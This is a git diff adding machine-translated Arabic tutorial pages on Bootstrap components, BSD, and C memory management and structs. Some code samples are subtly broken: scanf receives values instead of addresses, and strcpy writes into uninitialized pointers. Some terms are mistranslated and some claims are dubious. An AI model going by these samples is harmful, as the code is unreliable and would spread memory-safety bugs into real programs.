+    <li><a href="#">Item 2</a></li> 
+    <li><a href="#">Item 3</a></li> 
+  </ul> 
+ </li> 
+` 
+
+#### إضافة أزرار إلى شريط التنقل
+
+يمكنك إضافة أزرار على شريط التنقل. تعمل فئات Bootstrap Button الموجودة ولكن ستحتاج إلى تضمين `navbar-btn` class إلى نهاية قائمة الفئة.
+
+ `
+<button class="btn navbar-btn">Button</button> 
+` 
+
+#### إضافة نماذج إلى navbar
+
+يمكنك أيضًا إضافة نماذج إلى شريط التنقل. قد يكون هذا الاستخدام للمهام مثل حقل البحث ، حقل تسجيل الدخول السريع ، إلخ.
+
+ `
+<form class="navbar-form navbar-right"> 
+  <div class="form-group"> 
+      <input type="text" class="form-control" placeholder="Search"> 
+  </div> 
+  <button type="submit" class="btn btn-default">Search</button> 
+ </form> 
+` 
+
+#### محاذاة العناصر إلى اليمين على شريط التنقل
+
+في بعض الحالات ، قد ترغب في محاذاة عناصر في شريط التنقل إلى اليمين (على سبيل المثال زر تسجيل الدخول أو التسجيل.). للقيام بذلك ، ستحتاج إلى استخدام فئة `navbar-right` .
+
+ `
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+    <ul class="nav navbar-nav navbar-right"> 
+      <li><a href="#">Action Link #1</a></li> 
+      <li><a href="#">Action Link #2</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+` 
+
+#### عرض شريط التنقل مستقل عن التمرير
+
+في بعض الحالات ، قد ترغب في الاحتفاظ بشريط التنقل في الجزء العلوي أو السفلي من الشاشة بغض النظر عن التمرير. ستحتاج إلى إضافة فئة `navbar-fixed-top` أو `navbar-fixed-bottom` إلى عنصر `<nav>` .
+
+ `
+<nav class="navbar navbar-default navbar-fixed-top"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+` 
+
+#### تصغير شريط التنقل
+
+على شاشة صغيرة (مثل الهاتف أو الجهاز اللوحي) سيشغل شريط التنقل مساحة كبيرة جدًا. لحسن الحظ ، يوجد خيار تجميع شريط التنقل. يمكنك تحقيق ذلك باستخدام المثال التالي.
+
+ `
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+` 
+
+#### أمثلة Navbar
+
+`navbar navbar-default`
+
+[اسم الموقع](#navbar-default)
+
+*   [الصفحة الرئيسية](#navbar-default)
+*   [صفحة 1](#navbar-default)
+*   [الصفحة 2](#navbar-default)
+*   [الصفحة 3](#navbar-default)
+زر
+
+*   [رابط الإجراء # 1](#navbar-default)
+*   [رابط الإجراء # 2](#navbar-default)
+
+`navbar navbar-inverse`
+
+[اسم الموقع](#navbar-inverse)
+
+*   [الصفحة الرئيسية](#navbar-inverse)
+*   [صفحة 1](#navbar-inverse)
+*   [الصفحة 2](#navbar-inverse)
+*   [الصفحة 3](#navbar-inverse)
+زر
+
+*   [رابط الإجراء # 1](#navbar-inverse)
+*   [رابط الإجراء # 2](#navbar-inverse)
+
+#### معلومات اكثر:
+
+[وثائق navbar BootStrap](https://getbootstrap.com/docs/4.0/components/navbar/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/panels/index.md b/client/src/guide/arabic/bootstrap/panels/index.md
new file mode 100644
index 0000000000..54bb7aead1
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/panels/index.md
@@ -0,0 +1,64 @@
+---
+title: Panels
+localeTitle: لوحات
+---
+## لوحات
+
+يوفر لك إطار Bootstrap ميزة تسمى اللوحات. اللوحة عبارة عن مربع يحتوي على عنوان منسق ومن ثم نص يسمح لك بعرض المعلومات بطريقة منظمة ، من خلال مجموعة واحدة أو أكثر من اللوحات.
+
+#### كيف تستعمل:
+
+لاستخدام لوحات Bootstrap ، يمكنك إضافة `<div>` مع فصل دراسي لنوع اللوحة الخاصة بك ( `panel panel-default` الصف `panel panel-default` أو شيء مشابه ، راجع أمثلة اللوحة لمزيد من المعلومات.) ثم علامتي `<div>` متداخلتين ، واحدة للعنوان ( `panel panel-heading` للفئة) وواحدة للجسم ( `panel panel-body` الصف). قد تجد أن المثال رمز أسهل للفهم من تفسير مكتوب.
+
+**مثال الكود**
+
+ `
+<div class="panel panel-primary"> 
+  <div class="panel panel-heading">Panel Primary</div> 
+  <div class="panel panel-body"> This is a panel with the primary panel style.</div> 
+ </div> 
+` 
+
+#### أمثلة على اللوحة:
+
+هذه مجموعة من الأمثلة التي تعرض كل نوع من اللوحات. يتم عرض فئة CSS أعلى كل مثال.
+
+`panel panel-default`
+
+لوحة افتراضية
+
+هذه لوحة بها نمط اللوحة الافتراضي.
+
+`panel panel-primary`
+
+لوحة الابتدائية
+
+هذه لوحة بها نمط اللوحة الأساسي.
+
+`panel panel-success`
+
+نجاح اللوحة
+
+هذه لوحة بها نمط لوحة النجاح.
+
+`panel panel-info`
+
+معلومات لوحة
+
+هذه لوحة بها نمط لوحة المعلومات.
+
+`panel panel-warning`
+
+تحذير لوحة
+
+هذه لوحة بها نمط لوحة التحذير.
+
+`panel panel-danger`
+
+خطر لوحة
+
+هذه لوحة بها نمط لوحة الخطر.
+
+### معلومات اكثر
+
+*   [وثائق منسدلة Bootstrap](https://getbootstrap.com/docs/4.0/components/dropdowns/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/tables/index.md b/client/src/guide/arabic/bootstrap/tables/index.md
new file mode 100644
index 0000000000..eea98133dc
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/tables/index.md
@@ -0,0 +1,103 @@
+---
+title: Tables
+localeTitle: الجداول
+---
+## \## الجداول
+
+#### الجدول الأساسي
+
+من أجل تحقيق المثال التصميم الأساسي إضافة الفئة الأساسية `.table` إلى أي `<table>` عنصر.
+
+**مثال**
+
+ `<table class="table"> 
+  ... 
+ </table> 
+` 
+
+![الجدول الأساسي](https://github.com/TroyB12/Pictures/blob/master/Basic%20Table.PNG)
+
+* * *
+
+#### الجدول مقلم
+
+من أجل تحقيق التأثير الصف المخطط (حمار وحشي، شريطية) في جداول استخدام `.table-striped` بالإضافة إلى `.table` على أي `<table>` عنصر. تم تصميم الطاولات المخططة عبر محدد CSS الخاص بـ `:nth-child` ، والذي لا يتوفر في Internet Explorer 8.
+
+ `<table class="table table-striped"> 
+  ... 
+ </table> 
+` 
+
+![جدول مخطط](https://github.com/TroyB12/Pictures/blob/master/Table%20Striped.PNG)
+
+* * *
+
+#### جدول يحدها
+
+من أجل تحقيق استخدام الجدول `.table-bordered` الجدول `.table-bordered` بالإضافة إلى `.table` على أي عنصر `<table>` .
+
+ `<table class="table table-bordered"> 
+  ... 
+ </table> 
+` 
+
+![يحد جدول](https://github.com/TroyB12/Pictures/blob/master/Table%20Bordered.PNG)
+
+* * *
+
+#### جدول تحويم
+
+من أجل تحقيق تأثير صف التمرير على الجداول ، استخدم `.table-bordered` بالإضافة إلى `.table` على أي عنصر `<table>` .
+
+ `<table class="table table-hover"> 
+  ... 
+ </table> 
+` 
+
+![تحوم الجدول](https://github.com/TroyB12/Pictures/blob/master/Table%20Hover.PNG)
+
+* * *
+
+#### جدول مكثف
+
+من أجل تحقيق الاستخدام الجدول المكثف `.table-condensed` بالإضافة إلى `.table` على أي `<table>` عنصر.
+
+ `<table class="table table-condensed"> 
+  ... 
+ </table> 
+` 
+
+![جدول مكثف](https://github.com/TroyB12/Pictures/blob/master/Table%20Condensed.PNG)
+
+* * *
+
+#### الجدول مستجيبة
+
+من أجل تحقيق الجدول المتجاوب عن طريق التفاف أي جدول `.table` في عنصر `.table-responsive` .
+
+...
+
+![الجدول المستجيب](https://github.com/TroyB12/Pictures/blob/master/Table%20Responsive.PNG)
+
+* * *
+
+يمكن للمطورين تغيير نمط كل صف و / أو خلية فردية باستخدام **فئات سياقية** .
+
+*   `.active` - يقوم `.active` لون التمرير على صف أو خلية معينة
+    
+*   `.success` - يشير إلى إجراء ناجح أو إيجابي
+    
+*   `.info` - يشير إلى تغيير أو عمل معلوماتي محايد
+    
+*   `.warning` - يشير إلى تحذير قد يحتاج إلى عناية
+    
+*   `.danger` - يشير إلى إجراء خطير أو سلبي محتمل
+    
+    ... ... ... ... ...
+    
+    ... ... ... ... ...
+    
+
+![جدول الطبقات السياقية](https://github.com/TroyB12/Pictures/blob/master/Table%20Contextual%20Classes.PNG)
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/tabs-and-pills/index.md b/client/src/guide/arabic/bootstrap/tabs-and-pills/index.md
new file mode 100644
index 0000000000..e5b774c74e
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/tabs-and-pills/index.md
@@ -0,0 +1,118 @@
+---
+title: Tabs and Pills
+localeTitle: علامات التبويب وحبوب منع الحمل
+---
+## علامات التبويب وحبوب منع الحمل
+
+علامات التبويب وحبوب منع الحمل هي أشكال الملاحة. بمعنى أنها تساعد المستخدم النهائي على التنقل عبر الموقع بطريقة سهلة الاستخدام.
+
+### علامات التبويب
+
+للحصول على علامات تبويب تمهيدية ، تحتاج أولاً إلى عنصر يحتوي على فئة `.nav` . ثم يمكنك ببساطة إضافة فئة إضافية باسم `.nav-tabs` .
+
+ `
+<ul class="nav nav-tabs"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+` 
+
+## ![علامات تمهيد Bootstrap](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs.PNG)
+
+### حبوب الدواء
+
+يتم تحقيق Bootstrap Pills بنفس طريقة Bootstrap Tabs ماعدا بدلا من `.nav-tabs` ، استخدم `.nav-pills` .
+
+ `
+<ul class="nav nav-pills"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+` 
+
+## ![حبوب Bootstrap](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills.PNG)
+
+### الحبوب مكدسة
+
+حبوب منع الحمل هي أيضا تكويم عموديا باستخدام. `.nav stacked` بالتزامن مع `.nav-pills` .
+
+ `
+<ul class="nav nav-pills nav-stacked"> 
+  ... 
+ </ul> 
+` 
+
+## ![حبوب Bootstrap مكدسة](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Stacked.PNG)
+
+### علامات التمهيد / حبوب منع الحمل مبررة
+
+يمكن أن يكون لكل من Bootstrap Tabs و Pills عرض متساوٍ للوالدين على شاشات أكبر من 768px باستخدام class .nav `.nav-justified` . على الشاشات الصغيرة ، يتم تكديس روابط التنقل.
+
+ `
+<ul class="nav nav-tabs nav-justified"> 
+  ... 
+ </ul> 
+ <ul class="nav nav-pills nav-justified"> 
+  ... 
+ </ul> 
+` 
+
+## ![علامات التمهيد / حبوب منع الحمل مبررة](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20And%20Pills%20Justified.PNG)
+
+### روابط معطل
+
+بالنسبة لأي مكون من عناصر التنقل (علامات التبويب أو الحبوب) ، يمكنك إضافة `.disabled` للحصول على ارتباطات رمادية وبدون تأثيرات تحوم
+
+ `
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="disabled"><a href="#">Disabled link</a></li> 
+  ... 
+ </ul> 
+` 
+
+## ![روابط معطل](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20and%20Pills%20Disabled%20Link.PNG)
+
+### علامات التبويب مع القوائم المنسدلة
+
+أضف القوائم المنسدلة إلى علامات تبويب التنقل.
+
+ `
+<ul class="nav nav-tabs"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+` 
+
+## ![علامات التبويب مع القوائم المنسدلة](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20Dropdown.PNG)
+
+#### علامات التبويب مع القوائم المنسدلة
+
+إضافة القوائم المنسدلة إلى حبوب الملاحة الخاصة بك.
+
+ `
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+` 
+
+![حبوب منع الحمل مع القوائم المنسدلة](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Dropdown.PNG)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/templates/index.md b/client/src/guide/arabic/bootstrap/templates/index.md
new file mode 100644
index 0000000000..1a6ea8b198
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/templates/index.md
@@ -0,0 +1,22 @@
+---
+title: Templates
+localeTitle: قوالب
+---
+## قوالب
+
+### نظرة عامة
+
+القوالب هي مجموعة أدوات مسبقة الإعداد تعمل على جعل صفحة الويب الجديدة نسيمًا. إذا كان لديك فكرة عامة عن التخطيط الذي تريده ، أو إذا كنت ترغب في استعراض مكتبة من نماذج التخطيط الشائعة للأفكار ، فإن قوالب Bootstrap تأخذ الكثير من الإرهاق ، وتشكل الإحباطات بعيداً عن عملية الإنشاء الأولية. تساعدك هذه المساعدة على التركيز على التفاصيل الدقيقة للمشروع بدلاً من التساؤل عن سبب عدم تعاون CSS.
+
+### ابدء
+
+*   تقدم صفحة الويب الرسمية bootstraps "الموضوعات" بدلاً من النماذج. يتم إنشاء المظاهر بشكل كامل فقط في مشاريع البدء ، بينما يصف النموذج إطار HTML سابق الإعداد. تكلف الموضوعات المال ، وربما تساعد مطور المبتدئين ، في حين أن العديد من النماذج مفتوحة المصدر وتوفر فقط عناصر التخطيط الأولية المطلوبة.
+*   فيما يلي قائمة قوالب التخطيط ، المصممة خصيصًا من أجل Bootstrap. إستمتع!
+
+### روابط القالب
+
+*   [قوالب StartBootstrap](https://startbootstrap.com/)
+*   [W3 مدارس قوالب Bootstrap](https://www.w3schools.com/bootstrap/bootstrap_templates.asp)
+*   [التفاف التمهيد](https://wrapbootstrap.com/)
+*   [واو المتزلج](http://wowslider.com/posts/35-top-free-bootstrap-templates-2016-95.html)
+*   [Bootstrap صنع](https://bootstrapmade.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/bsd-os/index.md b/client/src/guide/arabic/bsd-os/index.md
new file mode 100644
index 0000000000..0f7886547a
--- /dev/null
+++ b/client/src/guide/arabic/bsd-os/index.md
@@ -0,0 +1,25 @@
+---
+title: BSD operating system
+localeTitle: نظام التشغيل BSD
+---
+## نظام التشغيل BSD
+
+![نظام التشغيل BSD ، وأهمها freeBSD: القدرة على الخدمة](https://www.freebsd.org/layout/images/logo-red.png)
+
+### نظرة عامة
+
+شركة Berkeley Software Distribution (BSD) هي مجموعة من أنظمة التشغيل ذات الشهرة المفتوحة (Unix) المشابهة لنظام Unix مع أصول في الإصدارات المبكرة من Research Unix في مختبرات Bell Labs. FreeBSD هو العضو الأكثر شعبية.
+
+تم تكوين BSD لاستضافة الإنترنت ، استضافة المواقع ، واستضافة العديد من الخوادم على نظام واحد. هذا هو نظام التشغيل الأول الذي قام بإضافة بروتوكول الإنترنت. تمتلك أنظمة تشغيل BSD نظامًا مشتركًا للغاية لمشاركة الوقت ، مما يجعلها أكثر فائدة عندما تتم مشاركة الموارد بين العمليات. كمقارنة ، يُعرف نظام التشغيل Linux بأنه مفضل لعمليات المهام الفردية مثل أجهزة الكمبيوتر العملاقة وأجهزة الكمبيوتر المكتبية. إن الجزء الفعال من المقاطعة المتعددة الإجبارية للمقاطعة المقطوعة من المشاركة بالوقت يحصل على طريقة العمليات الفردية المخصصة.
+
+تتضمن BSD نظام "Jails" الذي يشبه إلى حد ما حاويات Linux - مع مراعاة الأمان الإضافي والمرونة في التنفيذ.
+
+### معلومات اكثر:
+
+[فري بي إس دي (Wikipedia.org)](https://en.wikipedia.org/wiki/FreeBSD)
+
+[OpenBSD (Wikipedia.org)](https://en.wikipedia.org/wiki/OpenBSD)
+
+[NetBSD (Wikipedia.org)](https://en.wikipedia.org/wiki/NetBSD)
+
+[مقارنة بين أنظمة التشغيل BSD (Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_BSD_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/Dinamic Memory Management/index.md b/client/src/guide/arabic/c/Dinamic Memory Management/index.md
new file mode 100644
index 0000000000..de6ce1215a
--- /dev/null
+++ b/client/src/guide/arabic/c/Dinamic Memory Management/index.md	
@@ -0,0 +1,88 @@
+---
+title: Dinamic Memory Management
+localeTitle: إدارة الذاكرة الديناميكية
+---
+# إدارة الذاكرة الديناميكية
+
+في بعض الأحيان ، ستحتاج إلى تخصيص مساحات ذاكرة في الكومة المعروفة أيضًا باسم الذاكرة الديناميكية. هذا هو مفيد بشكل خاص عندما لا تعرف خلال وقت الترجمة كيف سيكون هيكل البيانات كبير (مثل مصفوفة).
+
+## مثال
+
+إليك مثال بسيط حيث نخصص مصفوفة تطلب من المستخدم اختيار البعد
+
+ `#include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ int main(void) { 
+    int arrayDimension,i; 
+    int* arrayPointer; 
+ 
+    scanf("Please insert the array dimension:%d",arrayDimension); 
+    arrayPointer = (int*)malloc(sizeof(int)*arrayDimension); 
+ 
+    if(arrayPointer == NULL){ 
+      printf("Error allocating memory!"); 
+      return -1; 
+     } 
+ 
+     for(i=0;i<arrayDimension;i++){ 
+        printf("Insert the %d value of the array:",i+1); 
+        scanf("%d\n",arrayPointer[i]); 
+     } 
+ 
+    free(arrayPointer); 
+    return 0; 
+ } 
+` 
+
+كما ترون من أجل تخصيص مساحة في الذاكرة الديناميكية تحتاج إلى معرفة كيفية عمل المؤشرات في C. إن الوظيفة السحرية هنا هي `malloc` الذي سيعود كمخرج فارغ (وهو مؤشر إلى منطقة من نوع البيانات غير معروف) إلى مساحة الذاكرة الجديدة التي قمنا بتخصيصها للتو. دعونا نرى كيفية استخدام هذه الوظيفة خطوة بخطوة:
+
+## تخصيص صفيف خلال وقت التشغيل
+
+ `sizeof(int) 
+` 
+
+لنبدأ من `sizeof` . يحتاج `malloc` إلى معرفة مقدار المساحة المخصصة لبياناتك. في الواقع ، سيستخدم المتغير `int` مساحة تخزين أقل ثم مساحة `double` . من غير الآمن عمومًا تحديد حجم أي نوع بيانات. على سبيل المثال ، على الرغم من أن معظم تطبيقات C و C ++ على أنظمة 32 بت تعرف النوع int لتكون أربع ثمانيات ، فقد يتغير هذا الحجم عند نقل الكود إلى نظام مختلف ، مما يؤدي إلى كسر الشفرة. `sizeof` كما يقترح اسم يولد حجم متغير أو نوع البيانات.
+
+ `arrayPointer = (int*) malloc(sizeof(int) * arrayDimension); 
+` 
+
+في هذا المثال ، يقوم malloc بتخصيص الذاكرة وإرجاع المؤشر إلى كتلة الذاكرة. حجم الكتلة المخصصة يساوي عدد البايتات لكائن واحد من نوع int مضروبًا في `arrayDimension` ، مما يوفر للنظام مساحة كافية متاحة. ولكن ماذا لو لم يكن لديك مساحة كافية أو `malloc` لا يمكن تخصيصها لبعض الأسباب الأخرى؟
+
+## التحقق من إخراج malloc
+
+لا يحدث هذا بشكل شائع ولكن من الجيد جدًا التحقق من قيمة متغير مؤشرك بعد تخصيص مساحة جديدة من الذاكرة.
+
+ `    if(arrayPointer == NULL) 
+      printf("Error allocating memory!"); 
+` 
+
+سيكون هذا أيضًا مفيدًا جدًا أثناء مرحلة التصحيح وسيعمل على منع بعض الأخطاء المحتملة باستخدام آخر وظيفة مستخدمة في المثال.
+
+## كلمة على الحرة ()
+
+عادة يتم إلغاء تخصيص المتغيرات تلقائيًا عندما يتم تدمير نطاقها ، مما يؤدي إلى تحرير الذاكرة التي كانوا يستخدمونها. لا يحدث هذا بسيط عند تخصيص الذاكرة يدوياً باستخدام `malloc` . لمنع تسرب الذاكرة في برامج أكثر تعقيدًا ولإلغاء إنشاء القمامة في النظام ، يجب عليك تحرير منطقة الذاكرة المستخدمة حديثًا قبل إنهاء تنفيذ التعليمات البرمجية.
+
+ `  free(arrayPointer); 
+` 
+
+في النهاية سوف تفهم بالتأكيد أن التحقق من قيمة `arrayPointer` كان ضروريا لمنع الخطأ باستخدام الوظيفة `free` . إذا كانت قيمة `arrayPointer` تساوي `NULL` قد يكون لديك expirencied نوع من الخطأ.
+
+## وظائف أخرى مماثلة ل malloc
+
+في بعض الأحيان ، لا تحتاج فقط إلى حجز مساحة جديدة من الذاكرة لعملياتك ، فقد تحتاج أيضًا إلى تهيئة جميع وحدات البايت إلى صفر. هذا هو ما يستخدم `calloc` ل. في حالات أخرى ، ترغب في تغيير حجم مقدار الذاكرة التي يشير إليها المؤشر. على سبيل المثال ، إذا كان لديك مؤشر يعمل كمصفف للحجم `n` وتريد تغييره إلى صفيف بحجم `m` ، فيمكنك استخدام `realloc` .
+
+ `  int *arr = malloc(2 * sizeof(int)); 
+  arr[0] = 1; 
+  arr[1] = 2; 
+  arr = realloc(arr, 3 * sizeof(int)); 
+  arr[2] = 3; 
+` 
+
+## الأخطاء الشائعة
+
+الاستخدام غير السليم لتخصيص الذاكرة الديناميكية يمكن أن يكون مصدرًا للثغرات كما رأينا من قبل. معظم الأخطاء الشائعة هي:
+
+*   عدم التحقق من فشل التخصيص لا يمكن ضمان تخصيص الذاكرة بنجاح ، وقد يقوم بدلاً من ذلك بإرجاع مؤشر فارغ. باستخدام القيمة التي تم إرجاعها ، دون التحقق من نجاح التخصيص ، يستدعي سلوكًا غير معروف. هذا عادة ما يؤدي إلى تعطل (بسبب خطأ تجزئة الناتج على dereference مؤشر nullference) ، ولكن لا يوجد أي ضمان أن يحدث تعطل لذا فإن الاعتماد على ذلك يمكن أن يؤدي أيضًا إلى حدوث مشكلات.
+*   تسريبات الذاكرة الفشل في إلغاء تخصيص الذاكرة باستخدام خيوط `free` لتراكم الذاكرة غير القابلة لإعادة الاستخدام ، والتي لم يعد يستخدمها البرنامج.
+*   أخطاء منطقية يجب أن تتبع جميع التوزيعات نفس النمط: التخصيص باستخدام `malloc` ، والاستخدام لتخزين البيانات ، إلغاء تخصيص باستخدام `free` . إذا كنت لا تتبع هذا النمط ، فعادةً ما يتم عرض خطأ التقطيع وسيتعطل البرنامج. يمكن أن تكون هذه الأخطاء عابرة وصعبة التصحيح - على سبيل المثال ، لا يتم استرداد الذاكرة المحررة عادةً على الفور من قبل النظام ، وقد تستمر المؤشرات المتدلية لفترة من الوقت وتبدو وكأنها تعمل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/Structured data types/index.md b/client/src/guide/arabic/c/Structured data types/index.md
new file mode 100644
index 0000000000..970ecf3221
--- /dev/null
+++ b/client/src/guide/arabic/c/Structured data types/index.md	
@@ -0,0 +1,83 @@
+---
+title: Structured data types
+localeTitle: أنواع البيانات المنظمة
+---
+# أنواع البيانات المنظمة في C
+
+أثناء تجربة البرمجة الخاصة بك قد تشعر بالحاجة إلى تحديد نوع البيانات الخاص بك. في C يتم ذلك باستخدام كلمتين رئيسيتين: `struct` و `typedef` . ستمنحك الهياكل والنقابات فرصة تخزين أنواع البيانات غير المتجانسة في مجموعة واحدة.
+
+## التصريح بنوع بيانات جديد
+
+ `typedef struct student_structure{ 
+    char* name; 
+    char* surname; 
+    int year_of_birth; 
+ }student; 
+` 
+
+بعد هذا الرمز الصغير سوف يكون `student` كلمة محجوزة جديدة وستتمكن من إنشاء متغيرات من نوع `student` . يرجى الانتباه إلى أنه سيتم تنظيم هذا النوع الجديد من المتغيرات مما يعني أنه يحدد قائمة من المتغيرات المجمعة فعليًا ليتم وضعها تحت اسم واحد في كتلة من الذاكرة.
+
+## استخدام نوع بيانات جديد
+
+دعونا الآن إنشاء متغير `student` جديد وتهيئة سماته:
+
+ `   student stu; 
+ 
+   strcpy( stu.name, "John"); 
+   strcpy( stu.surname, "Snow"); 
+   stu.year_of_birth = 1990; 
+ 
+   printf( "Student name : %s\n", stu.name); 
+   printf( "Student surname : %s\n", stu.surname); 
+   printf( "Student year of birth : %d\n", stu.year_of_birth); 
+` 
+
+كما ترى في هذا المثال ، يتعين عليك تعيين قيمة لجميع المتغيرات المضمنة في نوع البيانات الجديد. للوصول إلى متغير بنية ، يمكنك استخدام النقطة مثل `stu.name` . هناك أيضًا طريقة أقصر لتعيين قيم للهيكل:
+
+ `typedef struct{ 
+   int    x; 
+   int    y; 
+ }point; 
+ 
+ point image_dimension = {640,480}; 
+` 
+
+أو إذا كنت تفضل تعيين قيمها باتباع ترتيب مختلف:
+
+ `point img_dim = { .y = 480, .x = 640 }; 
+` 
+
+## النقابات مقابل الهياكل
+
+تم الإعلان عن النقابات في نفس البنى كما هو الحال في البنى ، ولكنها مختلفة لأنه يمكن استخدام عنصر واحد فقط داخل الاتحاد في أي وقت.
+
+ `typedef union{ 
+      int circle; 
+      int triangle; 
+      int ovel; 
+ }shape; 
+` 
+
+يجب عليك استخدام `union` في مثل هذه الحالة حيث سيتم تطبيق شرط واحد فقط وسيتم استخدام متغير واحد فقط. من فضلك لا تنس أنه بإمكاننا استخدام نوع بياناتنا الجديد تمامًا:
+
+ `typedef struct{ 
+      char* model; 
+      int year; 
+ }car_type; 
+ 
+ typedef struct{ 
+      char* owner; 
+      int weight; 
+ }truck_type; 
+ 
+ typedef union{ 
+  car_type car; 
+  truck_type truck; 
+ }vehicle; 
+` 
+
+## بعض الحيل
+
+*   عند إنشاء مؤشر إلى بنية باستخدام `&` مشغل يمكنك استخدام خاص `->` مشغل أقحم إلى إذعان ذلك. يستخدم هذا على سبيل المثال عند العمل مع القوائم المرتبطة في C
+*   يمكن استخدام النوع المحدد الجديد تمامًا مثل الأنواع الأساسية الأخرى لكل شيء تقريبًا. جرب على سبيل المثال لإنشاء مجموعة من `student` نوع ونرى كيف يعمل.
+*   يمكن نسخ الهياكل أو تعيينها ولكن لا يمكنك مقارنتها!
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/appendix/index.md b/client/src/guide/arabic/c/appendix/index.md
new file mode 100644
index 0000000000..4883e4e15f
--- /dev/null
+++ b/client/src/guide/arabic/c/appendix/index.md
@@ -0,0 +1,75 @@
+---
+title: Appendix
+localeTitle: الملحق
+---
+# ج: ملحق
+
+لأن لغة C هي لغة منخفضة المستوى ، فهناك الكثير من المصطلحات التي لا يتم العثور عليها في الكثير من اللغات الأخرى. وإليك التذييل لجعل فهمها أسهل.
+
+## التحويل البرمجي
+
+التجميع هو عملية أخذ الرمز الذي يمكن قراءته وتحويله إلى كود قابل للقراءة آليًا. يتم تنفيذ هذه العملية من خلال مترجم.
+
+## مترجم
+
+المحول البرمجي هو برنامج يقوم بترجمة الكود ، مما يعني أنه يغيره من شيء يمكن قراءته على البشر إلى شيء يمكن قراءته آليًا.
+
+## التصحيح / المصحح
+
+التصحيح هو عملية إزالة الأخطاء ("bugs") من التعليمات البرمجية. مصحح الأخطاء هو أداة مفيدة تجعل ذلك أسهل.
+
+## GNU + لينكس
+
+غنو + لينكس هو المصطلح التقني الدقيق لما يُشار إليه عادة بـ "لينكس". Linux هي kernel ، وهي عبارة عن مجموعة من البرامج التي تسمح للبرامج بالتفاعل مع الأجهزة. عند الجمع مع GNU ، يصبح نظام التشغيل ، والذي يسمح للشخص بالتفاعل معه.
+
+## واجهة المستخدم الرسومية
+
+واجهة المستخدم الرسومية. ستسمح لك واجهة المستخدم الرسومية بالتفاعل مع البرنامج عن طريق الإشارة والنقر بدلاً من كتابة الأوامر.
+
+## ملفات رأس
+
+ملفات الرأس هي ملفات تحتوي على تعريفات دالة تم تعريفها في ملفات مصدر أخرى. عادة ما يتم تضمينها في أعلى الملف المصدر.
+
+## IDE
+
+بيئة تطوير متكاملة. هذا في الغالب محرر ، لكنه يتضمن أدوات لفحص بناء الجملة وتنسيق نمط التعليمة البرمجية وتصنيف البرنامج وتصحيحه ، مما يجعل كتابة التعليمات البرمجية أسهل.
+
+## انسان قارئ
+
+الرمز الذي يمكن قراءته بواسطة الإنسان هو رمز يمكن قراءته من قبل شخص ، وليس في رمز ثنائي أو آلة.
+
+## المكتبات
+
+تعد المكتبات مجموعات مفيدة من التعليمات البرمجية التي تعطي المزيد من الوظائف والميزات في اللغة.
+
+## رابط
+
+قطعة من البرامج التي تجمع بين ملفات كائنات متعددة (عادة ما تكون شفرة مصدر للمكتبات) في ملف واحد قابل للتنفيذ.
+
+## لغة منخفضة المستوى
+
+تحتوي لغة البرمجة ذات المستوى المنخفض على كود ثنائي أو تجميع يحتوي على تجريد قليل أو معدوم من الإرشادات على مستوى الماكينة.
+
+## كود الآلة
+
